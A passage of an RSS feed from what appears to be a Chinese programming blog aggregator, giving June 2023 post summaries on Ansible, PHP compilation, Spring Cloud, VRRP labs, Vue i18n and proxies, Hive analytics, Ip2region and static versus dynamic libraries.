      <pubDate>Mon, 12 Jun 2023 21:22:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a03d9c1070ff28178eb5f2bc5cf00814/</guid>
      <description>Ansible copy模块是用于将文件从控制节点复制到远程服务器的模块。它可以将文件、目录或文本从控制节点复制到远程服务器，也可以创建目标目录。&#xA;下面是一些EXAMPLE：&#xA;- name: Copy a single file to remote host copy: src: /path/to/local/file.txt dest: /path/to/remote/directory/ owner: username group: usergroup mode: &#39;0644&#39; backup: yes 上面的example使用了copy模块将本地文件/path/to/local/file.txt复制到远程服务器的/path/to/remote/directory/目录下。owner和group参数指定目标文件的所有者和组，mode参数设置文件权限，backup参数启用备份。&#xA;以下是一些copy模块的常见用例：&#xA;1. 复制文件到远程服务器&#xA;- name: Copy a single file to remote host copy: src: /path/to/local/file.txt dest: /path/to/remote/directory/ 上述例子使用了copy模块将本地文件/path/to/local/file.txt复制到远程服务器的/path/to/remote/directory/目录下。&#xA;2. 复制多个文件到远程服务器&#xA;- name: Copy multiple files to remote host copy: src: &#34;{{ item }}&#34; dest: /path/to/remote/directory/ with_items: - /path/to/local/file1.txt - /path/to/local/file2.txt - /path/to/local/file3.txt 上面的example使用了copy模块将多个本地文件复制到远程服务器的/path/to/remote/directory/目录下。with_items参数指定了要执行的多个拷贝任务。</description>
    </item>
    <item>
      <title>Chrome浏览器中热搜推荐消失术——AdBlock插件</title>
      <link>https://bchobby.github.io/posts/7dd76b88a877b536b23d77427081f6ca/</link>
      <pubDate>Mon, 12 Jun 2023 20:35:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7dd76b88a877b536b23d77427081f6ca/</guid>
      <description>Chrome浏览器中热搜推荐消失术——AdBlock插件 想用Chrome浏览器给自己一个清净，&#xA;结果躲得过广告，躲不过热搜推荐？&#xA;说好高效学习，总是下次一定？&#xA;一不留神深陷“瓜田”？&#xA;不妨试试这个“热搜消失术”！！！&#xA;1.下载AdBlock插件 点击：插件下载&#xA;2.解压AdBlock插件 3.点击Chrome浏览器右上角三个点图标—》更多工具—》扩展程序 4.开启开发者模式 5.打开刚才解压的AdBlock插件，选中红框所示文件，将其拖拽到如图所示的空白区 6.弹出如下窗口，点击添加扩展程序 7.弹出如下窗口，别害怕，是自愿募捐，可以直接关闭这个页面，不影响后续使用 8.点击扩展程序中加载的AdBlock的详情—》下拉点击扩展程序选项—》点击左边的“自定义”—》点击“手动拦截规则”右边的“编辑按钮”—》输入www.baidu.com##DIV[class=“FYB_RD”]—》点击“手动拦截规则”右边的“保存按钮” 9.重启Chrome浏览器后，使用百度搜索，发现右边的热搜推荐消失 后记 本文参考: chrome浏览器关闭百度热搜——AdBlock插件&#xA;感谢这篇文章的作者，其实他（她）已经写得很好了，但我操作的时候，还是有几个细节不清楚，比如开发者模式的开启，弹出付费页面吓得直接卸载插件，还好填卸载理由时，插件官方大大说明了可以免费使用，是自愿募捐，这才没有放弃。&#xA;写这篇文章的目的是给自己打个备忘录，同时也希望能稍稍地帮助到别人，自利利他，感恩所有无私分享的人，帮助别人就是帮助你自己！！！</description>
    </item>
    <item>
      <title>Ubuntu 18.04系统编译安装PHP教程。</title>
      <link>https://bchobby.github.io/posts/8f936f138bdeb00ba538beded81204b1/</link>
      <pubDate>Mon, 12 Jun 2023 16:51:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8f936f138bdeb00ba538beded81204b1/</guid>
      <description>以下是Ubuntu 18.04系统编译安装PHP的教程：&#xA;更新系统软件包：&#xA;sudo apt update sudo apt upgrade 安装编译所需的依赖项：&#xA;sudo apt install build-essential libxml2-dev libssl-dev libbz2-dev libjpeg-dev libpng-dev libcurl4-openssl-dev libfreetype6-dev libgmp-dev libkrb5-dev libpq-dev libzip-dev 下载PHP源代码：&#xA;mkdir ~/php cd ~/php curl -O https://www.php.net/distributions/php-7.4.21.tar.gz tar -zxvf php-7.4.21.tar.gz cd php-7.4.21 配置编译参数：&#xA;./configure --prefix=/usr/local/php --with-apxs2=/usr/bin/apxs2 --with-config-file-path=/etc/php/7.4 --with-config-file-scan-dir=/etc/php/7.4/conf.d --enable-bcmath --with-bz2 --enable-calendar --enable-exif --enable-ftp --with-gd --with-jpeg --with-png --with-freetype --with-gettext --with-gmp --with-imap --with-imap-ssl --with-kerberos --enable-mbstring --with-mysqli --enable-opcache --enable-pcntl --with-pdo-mysql --with-zlib --with-openssl --enable-soap --enable-sockets --with-xmlrpc --enable-zip 编译和安装PHP：</description>
    </item>
    <item>
      <title>idea导入import javax.servlet.http.HttpServletRequest；爆红</title>
      <link>https://bchobby.github.io/posts/f152d99f42c839de92ac2ce75da25723/</link>
      <pubDate>Mon, 12 Jun 2023 16:25:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f152d99f42c839de92ac2ce75da25723/</guid>
      <description>1、问题描述： import javax.servlet.http.HttpServletRequest; 2、解决办法： 第一步：&#xA;选中左侧项目 → 右键 → 选择 Open Module Settings 第二步：&#xA;在 Project Structure 窗口, 选择左侧的 Modules ，在选中中间的项目，点击右侧的＋号，选择Library&#xA;第三步：&#xA;在Choose Libraries 窗口，选择New Library... ,在下拉框选择Java&#xA;第四步：&#xA;在Select Library Files 窗口，选择Tomcat的lib文件夹下的servlet-api.jar&#xA;第五步：&#xA;可以正常导入HttpServletRequest类了，需要注意一下，我在本地操作的以上步骤后，项目的导入还是爆红，并且在代码使用HttpServletRequest爆红出并未提示import javax.servlet.http.HttpServletRequest; 我一直以为是导入方式错误了，但是又在External Libraries 中按路径找到了HttpServletRequest，于是我又把类上面爆红的import javax.servlet.http.HttpServletRequest;给删掉了，重写点出HttpServletRequest，于是就好了。</description>
    </item>
    <item>
      <title>链表的运用：多项式加法</title>
      <link>https://bchobby.github.io/posts/4b109f391397c412a3fe251039ca9f16/</link>
      <pubDate>Mon, 12 Jun 2023 15:57:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4b109f391397c412a3fe251039ca9f16/</guid>
      <description>通过链表来实现两个多项式的加法。&#xA;1.创建节点类型&#xA;用链表储存多项式则链表的一个节点就代表多项式的某一项。所以一个节点应该包含多项式的系数、多项式的指数以及指向下个节点的指针。&#xA;2.打印多项式&#xA;传入一个指向多项式链表的指针，遍历该链表，依次打印链表内容，此时采用科学计数法的形式。&#xA;3.尾插&#xA;申请一个新节点，将要求的系数和指数赋值给这个新节点，并将新节点的指针域置空，然后遍历整个链表，将新节点链接到最后一个节点的next指针上。&#xA;4.多项式相加&#xA;从两个待相加的多项式表头开始，比较两个节点的指数大小，将结果存储到第一个多项式的链表中。若节点指数相同，则将两个节点系数相加，并将结果存放到第一个节点的系数中；若节点指数不同，将指数小的节点链接到结果链表中，改变指针指向以更新链表遍历状态。&#xA;#include&amp;lt;stdio.h&amp;gt; #include&amp;lt;malloc.h&amp;gt; typedef struct LinkNode { int coefficient; int exponent; struct LinkNode* next; } *LinkList, * NodePtr; LinkList initLinkList() { LinkList tempHeader = (LinkList)malloc(sizeof(struct LinkNode)); tempHeader-&amp;gt;coefficient = 0; tempHeader-&amp;gt;exponent = 0; tempHeader-&amp;gt;next = NULL; return tempHeader; }// Of initLinkList void printList(LinkList paraHeader) { NodePtr p = paraHeader-&amp;gt;next; while (p != NULL) { printf(&#34;%d * 10^%d + &#34;, p-&amp;gt;coefficient, p-&amp;gt;exponent); p = p-&amp;gt;next; }// Of while printf(&#34;</description>
    </item>
    <item>
      <title>vscode编辑器常用插件管理</title>
      <link>https://bchobby.github.io/posts/84eb68c0c92eb787f3ad92da3ebfa8fa/</link>
      <pubDate>Mon, 12 Jun 2023 15:51:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/84eb68c0c92eb787f3ad92da3ebfa8fa/</guid>
      <description>常用插件列表，助力你更高效的开发 chiness vscode编辑器改为中文模式。有一定水平的人还是保持使用英文吧，毕竟对英语学习有用。&#xA;auto rename tag 修改开始标签时会同步修改结束标签&#xA;live server 可以将html文件以本地服务器的方式运行到浏览器，修改完代码，浏览器会自动刷新。&#xA;open in browser 在vscode的.html文件中，右击空白区域，在菜单中选择open in browser，即可直接跳转到浏览器中开打html文件。&#xA;vetur 提供vue代码的语法高亮，智能提示等&#xA;vscode-icons 文件夹及文件的图标&#xA;auto close tag 自动闭合html/xml标签&#xA;Markdown All in One（书写Markdown） 可以在vscode中抒写markdown&#xA;常用快捷键：&#xA;ctrl+shift+v 实时预览</description>
    </item>
    <item>
      <title>Spring Cloud常用组件介绍(Netflix、Alibaba）</title>
      <link>https://bchobby.github.io/posts/9f0d7cdbc8487c86d0e38d3aad99f46b/</link>
      <pubDate>Mon, 12 Jun 2023 14:49:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9f0d7cdbc8487c86d0e38d3aad99f46b/</guid>
      <description>Spring Cloud常用组件介绍 文章目录 **Spring Cloud常用组件介绍**一、说明**1.1.什么是Spring Cloud**1.2.Spring Cloud的组件选型 **二、组件介绍****2.1.服务注册与发现****2.1.1.Netflix Eureka****1）分布式模型****2）主要组件****3）工作过程****4）集群部署****5）高可用机制** **2.1.2.Alibaba Nacos****1）分布式模型****2）体系架构****3）高可用****4）与Eureka对比** **2.2.流量控制****2.2.1.Netflix Feign+Ribbon+Hystrix****1）Netflix Feign介绍****2）Netflix Ribbon介绍****3）Netflix Hystrix介绍****4）Feign+Ribbon+Hystrix之间的关系** **2.2.2.Alibaba Sentinel****1）流量控制****2）负载保护****3）实时监控和控制面板****4）与Netflix Hystrix的对比** **2.3.网关****2.3.1.Spring Cloud Gateway****1）主要概念****2）工作流程****3）主要功能及实现方式** **2.3.2.Netflix Zuul****1）主要概念****2）工作流程****3）与Spring Cloud Gateway的对比** **2.4.服务监控****2.4.1.Spring Boot Admin****2.4.2.Netflix Hystrix Dashboard + Turbine****2.4.3.Spring Cloud Sleuth+Zipkin****1）Sleuth原理****2）主要概念****3）Zipkin介绍** **2.5.配置中心****2.5.1.Spring Cloud Config****2.5.2.Apollo****2.5.3.Alibaba Nacos** 一、说明 随着近些年来互联网业务的蓬勃发展，以及微服务技术体系的不断完善成熟，越来越多的系统建设开始朝着微服务的方向发展，其中基于Spring Boot配合Spring Cloud服务治理框架的组合，也得到了越来越多开发团队的认可，逐渐成为企业级微服务建设的标准解决方案。&#xA;1.1.什么是Spring Cloud Spring Cloud是一系列框架的有序集合。它基于Spring Boot的开发便利性简化了分布式系统基础设施的开发，如服务发现注册、配置中心、负载均衡、断路器、数据监控等，都可以用Spring Boot的开发风格做到一键启动和部署。&#xA;Spring Cloud将各家公司开发的比较成熟、经得起实际考验的服务框架组合起来，通过Spring Boot风格进行再封装，屏蔽掉了复杂的配置和实现原理，最终给开发者留出了一套简单易懂、易部署和易维护的分布式系统开发工具包。Spring Cloud的主要支持和贡献者中包括了许多国内外的著名互联网科技公司，如Netflix和Alibaba，这大大推动了Spring Cloud的持续进步和发展。&#xA;1.2.Spring Cloud的组件选型 Spring Cloud家族拥有众多组件，既有作为单个服务独立部署的，又有可作高可用集群分布式部署的，也有作为插件集成于应用服务的。随着使用场景的丰富和社区开发者的不断贡献，Spring Cloud中实现同一类功能的组件也逐渐衍生出各分支子项目，各子项目设计思路和功能各有侧重。此外，Spring Cloud家族之外也有一些开源组件由于功能的契合，经常与Spring Cloud组件配合使用。这就需要使用者根据自身使用场景灵活选用，而作为企业用户，在进行组件选型时则更多需要考虑组件的成熟度和未来支持情况。&#xA;下面就简要介绍Spring Cloud常用组件的功能及使用场景，以便开发人员和设计者进行组件选型和应用。&#xA;二、组件介绍 下面就Spring Cloud关键的几类组件分别进行介绍。&#xA;2.1.服务注册与发现 服务注册与发现是服务治理的基础，Spring Cloud Netflix子项目中的Eureka是目前最常用的Spring Cloud服务注册组件，此外也有Spring Cloud Alibaba的子项目Nacos，以及Zookeeper等注册中心方案，下面分别对其中被广泛使用的Netflix Eureka和Alibaba Nacos进行介绍。</description>
    </item>
    <item>
      <title>linux红帽系统、图形化界面详细安装教程</title>
      <link>https://bchobby.github.io/posts/4e8174e5d0ec60008b9ca58ba74281d8/</link>
      <pubDate>Mon, 12 Jun 2023 14:35:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4e8174e5d0ec60008b9ca58ba74281d8/</guid>
      <description>1.挂载光盘 mount /dev/cdrom /mnt/ #挂载光盘到/mnt/目录下 mkdir /opt/package/ #创建package目录 cp -rf /mnt/* /opt/package/ #将mnt目录下的所有文件拷贝到/opt/RH/ mount: /dev/sr0 is write-protected, mounting read-only&#xA;这条消息表示您正在尝试挂载一个只读设备，该设备被保护防止写入。这通常是CD或DVD-ROM驱动器，其中的磁盘被保护免受意外修改。因此，您只能以只读方式挂载该设备，无法写入或修改其中的任何内容。如果您想要在该设备上进行写入或修改，请检查设备是否被正确插入并完全解除保护。&#xA;可以用 df -hT 命令查看是否挂载成功, 如下图所示：&#xA;看到 /dev/sr0 ios9660 4.2G 0 100% /mnt 则表示已经成功挂载。&#xA;df -hT 接来下是创建目录，将mnt目录下的所有文件拷贝到 /opt/RH/ 。使用命令 cd /opt/package/ 进入到 package 目录下 在用 ls 查看目录下的文件 如下图所示：已经成功的拷贝。&#xA;cd 命令的使用：cd /文件名/文件名/ 这样使用的&#xA;2.配置本地yum源 cd /etc/yum.repos.d/ #切换到/etc/yum.repos.d/目录 vi local.repo #vi 新建local.repo配置，并添加以下内容到文件 编辑 local.repo 文件，输入 i 进入 vi 编辑模式。编辑完成后按Esc退出编辑模式，然后输入:wq 回车保存退出&#xA;[rh] name=rh baseurl=file:///opt/package gpgcheck=0 enable=1 输入:wq 回车保存退出</description>
    </item>
    <item>
      <title>VRRP虚拟路由器冗余技术学习与实验</title>
      <link>https://bchobby.github.io/posts/5fb103b06228acce693b5f9f91daa722/</link>
      <pubDate>Mon, 12 Jun 2023 11:51:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5fb103b06228acce693b5f9f91daa722/</guid>
      <description>1：VRRP技术简述&#xA;上图是网络经典故障中的单点故障，网关路由器的故障影响了整个网段的主机，通过使用VRRP的方法可以有效解决上述问题。VRRP是虚拟路由器冗余协议，通过把几台路由设备联合组成一台虚拟的路由设备，将虚拟路由设备的IP地址作为用户的默认网关实现与外部网络通信。当网关设备发生故障时，VRRP能够选举新的网关设备承担数据流量，从而保障网络的可靠性，保障网络不中断，在实现多个真实网关的冗余备份的同时完成了数据转发的负载均衡。&#xA;2：VRRP组成员及选举规则&#xA;主路由器：Master →负责承担数据报文转发任务&#xA;备份路由器：Backup →负责监控主路由器状态&#xA;虚拟路由器 ：Virtual → 又称VRRP备份组，作为局域网中主机的默认网关&#xA;VRRP主备选举原则：&#xA;首先比较优先级，优先级大的为master&#xA;如果优先级一致，其次比较ip地址，IP地址大的为master&#xA;3：VRRP工作过程&#xA;1）VRRP备份组中的设备根据优先级选举出”Master-主路由器“&#xA;2）“Master-主路由器”发送“免费ARP报文”，将虚拟MAC地址通知给与它连接的设备，承担数据转发任务&#xA;3）“Master-主路由器”周期性发送VRRP通告报文（三层心跳报文）&#xA;4）通告报文发送的周期时间：默认情况下是1秒&#xA;5）通告报文发送的目的地址是组播地址：224.0.0.18&#xA;6）“Backup-备份路由器”监控“主路由器”状态，在3倍的&#34;发送周期&#34;后，如果无法收到“主路由器”发送的VRRP 通告报文，备份路由器升级为“新的Master-主路由器”，新的Master-路由器会立即发送免费ARP报文，刷新与它连接设备中的MAC表项，从而把用户流量引到新的Master设备上来。&#xA;7）“原Master”设备故障恢复时，首先切换至Backup状态：&#xA;&amp;amp;：如果“原Master”已开启抢占模式，并且对比优先级，发现自己的优先级高，则主动将自己切换成Master。&#xA;&amp;amp;：如果”原Master“没有开启抢占模式，即便优先级高，也不会进行抢占，依然保持Backup状态&#xA;4：VRRP负载分担综合实验&#xA;实验需求：&#xA;1）PC1属于vlan10 ,PC2属于vlan20&#xA;2）vlan10的主网关是SW1，备份网关是SW2，vlan10的数据流量默认由SW1转发&#xA;3）vlan20的主网关是SW2，备份网关是SW1，vlan20的数据流量默认由SW2转发&#xA;4）SW1和SW2部署MSTP和VRRP，既要实现负载分担，又要互为备份&#xA;配置步骤：&#xA;第一步：配置PC和server的IP地址，掩码，网关&#xA;第二步：配置SW3交换机&#xA;1）创建vlan&#xA;2）配置MSTP&#xA;第三步：配置SW1和SW2&#xA;1）创建vlan，配置vlanif&#xA;2）配置VRRP,MSTP&#xA;第四步：SW1/SW2/R3配置静态路由 第五步：验证VRRP&#xA;详细配置命令：&#xA;第一步：配置PC和server的IP地址，掩码，网关 第二步：在sw3交换机 SW3配置： [SW3]vlan batch 10 20 [SW3]int g0/0/1 [SW3-GigabitEthernet0/0/1]port link-type access [SW3-GigabitEthernet0/0/1]port default vlan 10 [SW3-GigabitEthernet0/0/1]int g0/0/2 [SW3-GigabitEthernet0/0/2]port link-type access [SW3-GigabitEthernet0/0/2]port default vlan 20 [SW3-GigabitEthernet0/0/2]quit [SW3]port-group group-member g0/0/3 g0/0/4 [SW3-port-group]port link-type trunk [SW3-port-group]port trunk allow-pass vlan all [SW3-port-group]quit [SW3]stp region-configuration [SW3-mst-region] region-name vrrptest [SW3-mst-region] instance 10 vlan 10 [SW3-mst-region] instance 20 vlan 20 [SW3-mst-region] active region-configuration 第三步：SW1和SW2配置VRRP和MSTP和静态路由 SW1配置： [SW1]vlan batch 10 20 [SW1]int g0/0/2 [SW1-GigabitEthernet0/0/2]port link-type trunk [SW1-GigabitEthernet0/0/2]port trunk allow-pass vlan all [SW1-GigabitEthernet0/0/2]qui [SW1]vlan batch 13 [SW1]int vlanif 10 [SW1-Vlanif10]ip address 192.</description>
    </item>
    <item>
      <title>Vue多国语言实践</title>
      <link>https://bchobby.github.io/posts/9e7c16218873d67b5c0080c9ca56a120/</link>
      <pubDate>Mon, 12 Jun 2023 11:01:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9e7c16218873d67b5c0080c9ca56a120/</guid>
      <description>1.安装&#xA;vue2.6.10版本，不知道为什么不加-S 就找不到vue-i18n&#xA;i18n官网明确了使用版本，vue2和vue3分别不一样，vue2使用8版本，vue3使用9版本，安装时需要注意版本号&#xA;所以vue2.6.10版本&#xA;npm install vue-i18n@8.27.0 vue3或者以上直接使用命令&#xA;npm install vue-i18n -S 2.在main.js里配置il8n&#xA;import Vue from &#39;vue&#39; import VueI18n from &#39;vue-i18n&#39; Vue.use(VueI18n) 3.创建il8n实例在main.js中挂载&#xA;3-1.实例文件夹：&#xA;import VueI18n from &#39;vue-i18n&#39; const i18n = new VueI18n({ // 双语 locale: &#39;zh&#39;, messages: { &#39;zh&#39;: require(&#39;./components/lang/zh&#39;), &#39;en&#39;: require(&#39;./components/lang/en&#39;) }, }) export default i18n; 3-2.main.js里引用挂载&#xA;import i18n from &#39;@/lang&#39; var vue = new Vue({ el: &#39;#app&#39;, i18n, }) 4.实现切换语言&#xA;4-1.vue2&#xA;Language(lan){ this.$i18n.locale = lan localStorage.</description>
    </item>
    <item>
      <title>Vue配置代理(devServer)，解决跨域问题</title>
      <link>https://bchobby.github.io/posts/f650436be7f94f194fadc8d418bd142e/</link>
      <pubDate>Mon, 12 Jun 2023 10:07:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f650436be7f94f194fadc8d418bd142e/</guid>
      <description>1、作用： Vue官方文档的解释是：&#xA;如果你的前端应用和后端 API 服务器没有运行在同一个主机上，你需要在开发环境下将 API 请求代理到 API 服务器。这个问题可以通过 vue.config.js 中的 devServer.proxy 选项来配置。&#xA;通俗的说，就是为了解决跨域问题。&#xA;2、用法： 本篇都以axios发请求为例,样例如下：&#xA;axios.get(&#34;/abc/def&#34;); axios.get(&#34;/abc/ghi&#34;); axios.post(&#34;/abc/jkm&#34;); axios发送的请求是本地的服务器地址拼接上发送的请求，如 http://xxx:8080/abc/def&#xA;2.1 指定请求开头配置 如果发送的请求都以 /abc 开头，代理配置：&#xA;devServer: { proxy: { &#34;/abc&#34;: { target: &#34;http://XX.XX.XX.XX:8081&#34;, changeOrigin: true, ws: true, secure: false, }, } }, “/abc”:{} : 引号中代表，本代理配置，会检测以 /abc 开头的访问target : 代表检测到以 /abc 开头的接口后，将请求中端口、地址，修改为后端接口地址，从而避免发生跨域问题changeOrigin : 是否修改数据包中host参数，默认为truews : 是否代理 websockets&#xA;该代理请求为： http://localhost:8080/abc/def —&amp;gt; http://XX.XX.XX.XX:8081/abc/def&#xA;2.2 代理多个接口 请求示例：&#xA;// http://localhost:8080/zzz/one axios.get(&#34;/zzz/one&#34;); // http://localhost:8080/xxx/two axios.</description>
    </item>
    <item>
      <title>用户行为数据分析</title>
      <link>https://bchobby.github.io/posts/7234f59b30d9833c9c5a6a13d14d21ca/</link>
      <pubDate>Mon, 12 Jun 2023 09:17:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7234f59b30d9833c9c5a6a13d14d21ca/</guid>
      <description>文章目录 用户行为数据分析1 项目描述2 项目需求3 数据准备1、创建user_data数据表用于导入user_data.csv中的数据2、加载user_data.csv中的数据到user_data表3、接下来进行数据清洗，包括：删除重复值，时间戳格式化，删除异常值。 4 统计分析1、查询总访问量PV，总用户量UV2、查询日均访问量，日均用户量3、查询每个用户的购物情况4、根据user_behavior_count的结果查询复购率5、统计转化率6、统计一天内活跃时段点击数、收藏数、加购物车数、购买数的分布7、统计周用户点击数、收藏数、加购物车数、购买数的活跃分布8、统计用户最近一次的购买时间，降序排序只显示前10条记录9、统计消费频率最高的前10名用户 用户行为数据分析 1 项目描述 user_data.csv是一份用户行为数据，时间区间为2017-11-25到2017-12-03，总计29132493条记录，大小为1.0G，包含5个字段。数据集的每一行表示一条用户行为，由用户ID、商品ID、商品类目ID、行为类型和时间戳组成，并以逗号分隔。关于数据集中每一列的详细描述如下：&#xA;列名称字段名数据类型说明用户IDuser_idstring用户ID商品IDitem_idstring商品ID商品类目IDcategory_idstring商品类目ID行为类型behavior_typestring行为类型，包括(pv, buy, cart, fav)时间戳create_timeint行为时间戳 用户行为类型共有四种，它们分别是&#xA;行为类型说明pv商品详情页pv，等价于点击buy商品购买cart将商品加入购物车fav收藏商品 2 项目需求 1、查询总访问量PV，总用户量UV&#xA;2、查询日均访问量，日均用户量&#xA;3、查询每个用户的购物情况（统计点击、商品购买、加入购物车、收藏的次数），统计结果放入表user_behavior_count&#xA;4、根据user_behavior_count的结果查询复购率：产生两次或两次以上购买的用户占购买用户的比例&#xA;5、统计用户各环节行为转化率，分别统计从“点击”到“(加购物车+收藏)”的转化率，和从“(加购物车+收藏)”到“购买”的转化率&#xA;6、统计一天内活跃时段点击数、收藏数、加购物车数、购买数的分布&#xA;7、统计周用户击数、收藏数、加购物车数、购买数的活跃分布&#xA;8、统计用户最近一次的购买时间，降序排序只显示前10个记录&#xA;9、统计消费频率最高的前10名用户&#xA;3 数据准备 将数据加载到hive，然后通过hive对数据进行处理&#xA;1、创建user_data数据表用于导入user_data.csv中的数据 -- 创建表 create table if not exists user_data ( user_id string COMMENT &#39;用户ID&#39;, item_id string COMMENT &#39;商品ID&#39;, category_id string COMMENT &#39;商品类目ID&#39;, behavior_type string COMMENT &#39;行为类型&#39;, create_time int COMMENT &#39;行为时间戳&#39; ) row format delimited fields terminated by &#39;,&#39; stored as textfile; 2、加载user_data.</description>
    </item>
    <item>
      <title>Java通过Ip2region实现IP定位</title>
      <link>https://bchobby.github.io/posts/2a4a2758e7deb3c7fe57d8dbeefa5d91/</link>
      <pubDate>Mon, 12 Jun 2023 09:16:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2a4a2758e7deb3c7fe57d8dbeefa5d91/</guid>
      <description>我们在一些短视频平台上可以看到,视频作者或评论区可以显示IP地址,这其实就是根据IP获取到的我们可以通过一些在线网站就可以看到我们当前的公网IP和IP定位,最近有个需求也需要通过请求获取客户端的IP和IP的定位,于是通过一系列的百度,最终选择使用Ip2region这个工具库来进行定位&#xA;Ip2region简介 Ip2region是一个开源工具库,是一种用于IP地址定位的工具。 它是基于B树数据结构的数据库，可用于将IP地址转换为国家、省、市、区县等信息。 使用Ip2region工具，您可以轻松地查找某个IP地址所在的区域信息，从而帮助您进行定位和分析。&#xA;目前Ip2region有1.0和2.0两个版本,p2region 1.0和Ip2region 2.0之间的主要区别在于数据的更新频率和精度。 Ip2region 2.0在原有版本的基础上增加了更多的数据，例如更详细的地图信息和更准确的IP地址定位。 Ip2region 2.0的数据更新频率也更高，这意味着它将提供更精确的信息。此外， Ip2region 2.0还提供了Java、Python和PHP等语言的版本，这使得它更加适用于不同类型的应用程序。&#xA;GitHub地址(CSDN镜像地址,非原地址):https://gitcode.net/mirrors/lionsoul2014/ip2region&#xA;Ip2region使用 前面提到Ip2region分为1.0和2.0两个版本,此处我是用的是2.0版本,如需1.0版本此文章并不适用,可以参考如下文章&#xA;(153条消息) Java根据ip地址获取归属地_java通过ip地址获取地区_java技术媛的博客-CSDN博客&#xA;Ip2region2.0版本引入依赖 2.7.0是当前最新版本,使用Ip2region2.0引入2.6.0版本及以上应该是都可以的&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.lionsoul&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;ip2region&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.7.0&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 下载ip2region.xdb文件 下载链接;https://gitcode.net/mirrors/lionsoul2014/ip2region/-/blob/master/data/ip2region.xdb&#xA;如果链接失效:进入上文github地址然后选在data文件夹,里面就有ip2region.xdb文件&#xA;下载后将其放在resources文件夹下,注意在pom文件里添加排除配置,防止maven将文件编译&#xA;&amp;lt;plugin&amp;gt; &amp;lt;configuration&amp;gt; &amp;lt;nonFilteredFileExtensions&amp;gt; &amp;lt;nonFilteredFileExtension&amp;gt;xdb&amp;lt;/nonFilteredFileExtension&amp;gt; &amp;lt;/nonFilteredFileExtensions&amp;gt; &amp;lt;/configuration&amp;gt; &amp;lt;/plugin&amp;gt; Searcher介绍 ip2region核心类就是Searcher,在2.0的版本中它有三种创建方式,三种方式使用方式不太一样,接下来逐一介绍&#xA;newWithFileOnly(String dbPath) 此种创建方式,只有一个参数,顾名思义,我们可以知道入参其实就是ip2region.xdb文件的路径,此种创建方式是最基础的创建方式,不支持并发,每次创建都需要进行一次IO,读取本地ip2region.xdb文件&#xA;newWithVectorIndex(String dbPath, byte[] vectorIndex) 此种创建方式多出来一个vectorIndex参数,它是一个字节数组我们可以提前从 xdb 文件中加载出来 VectorIndex 数据，然后全局缓存，每次创建 Searcher 对象的时候使用全局的 VectorIndex 缓存可以减少一次固定的 IO 操作，从而加速查询，减少 IO 压力。此种方式也不支持并发,每个线程需要重新new一个Searcher对象&#xA;newWithBuffer(byte[] cBuff) 此种创建方式只有一个cBuff参数,它可以预先加载整个 ip2region.xdb 的数据到内存，然后基于这个数据创建查询对象来实现完全基于文件的查询无IO压力,而且仅占用11M内存,最重要的是它支持并发,全局只需要创建一次即可,也是查询效率最高的一种方法,下面我自己封装了一个工具类,就是采用的这种方式&#xA;工具类代码 /** * ip解析工具 * * @author zzt * @version v1.</description>
    </item>
    <item>
      <title>理解和创建Windows和Linux下的动态和静态库区别</title>
      <link>https://bchobby.github.io/posts/76b4503bd8e1e5712d883e38d118b9a9/</link>
      <pubDate>Mon, 12 Jun 2023 08:44:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/76b4503bd8e1e5712d883e38d118b9a9/</guid>
      <description>一、引言 在计算机编程的世界中，库是一个非常重要的改变。它的出现提供了一种共享和重用代码的可能性，复杂的程序因为动态库的出现而变得简洁和方便。然而，库并不是单一的：它们可以是动态的，也可以是静态的，每一种类型都有其使用场景。在本文中，我们将深入探讨动态库和静态库的概念，每种类型都有其优点和使用场景。讨论的范围将会集中两种最为常见的平台——Windows和Linux，主要内容还是帮助读者创建一个在自己平台下使用的动态库。&#xA;二、静态库和动态库基础知识 在顺利创建并使用动态库之前，让我们先来了解一下关于这两个库的概念。&#xA;2.1 动态库 动态库在程序实际运行时才会被加载到内存，多个程序可以共用这个动态库；Windows动态库以.dll结尾，而在Linux下则以.so结尾，其优点在于：&#xA;节省内存。多个程序如果使用到了同一个动态库，仅需加载一次内存，从而达到节省内存的作用；模块化设计。动态库是一个模块化设计，每个库专注其特定的功能，增加了代码的可读性和维护性；简化更新和修复过程：因为是运行时才加载，如果符号保持不变，更新功能只需要替换掉原来的动态库即可；剥离常用函数，使得维护变得容易。这一个和模块化不同，模块化的功能单一，而剥离这个功能，主要是为了维护不同功能；跨语言兼容。不同语言也可以通过动态库使用对应的功能，使得其变得与语言无关；降低磁盘空间。同一个功能只需要存储一份动态库，而不需要每个程序都带有相应的代码段； 2.2 静态库 静态库在程序进行编译之时就被链接到程序中，每个程序都独占这部分功能代码。Windows中以.lib结尾，而Linux则以 .a结尾。一般而言[1]，静态库含有对应功能的所有实现，其优点在于：&#xA;独立性。静态库被链接到应用程序，将内容直接“注入”应用程序，不再需要存放着内容的动态库.dll，程序的部署和分发变得简单，无需担心目标系统是否具有对应的动态库；兼容性。版本冲突基本上不会出现，因为每个程序在编译之时就已经完成了版本冲突检查，如果有兼容性问题，编译器就被暴露出来了；性能。使用静态库的应用程序无需在运行时进行加载，降低了程序开销；安全性。静态库在编译时已经确定，攻击者更加难以通过替换库中的函数进恶意程序注入；（这就是为什么破解替换动态库就可以完成，大概率是因为替换掉了验证部分函数） 下面是一张比较动态库和静态库优缺点的表格：&#xA;动态库静态库优点1. 节省内存 2. 支持模块化设计 3. 代码重用 4. 简化更新和修复过程 5. 跨语言兼容性 6. 减少磁盘空间的使用1. 独立性 2. 兼容性 3. 性能 4. 安全性缺点1. 可能导致版本冲突 2. 运行时需要加载和链接库，可能影响性能1. 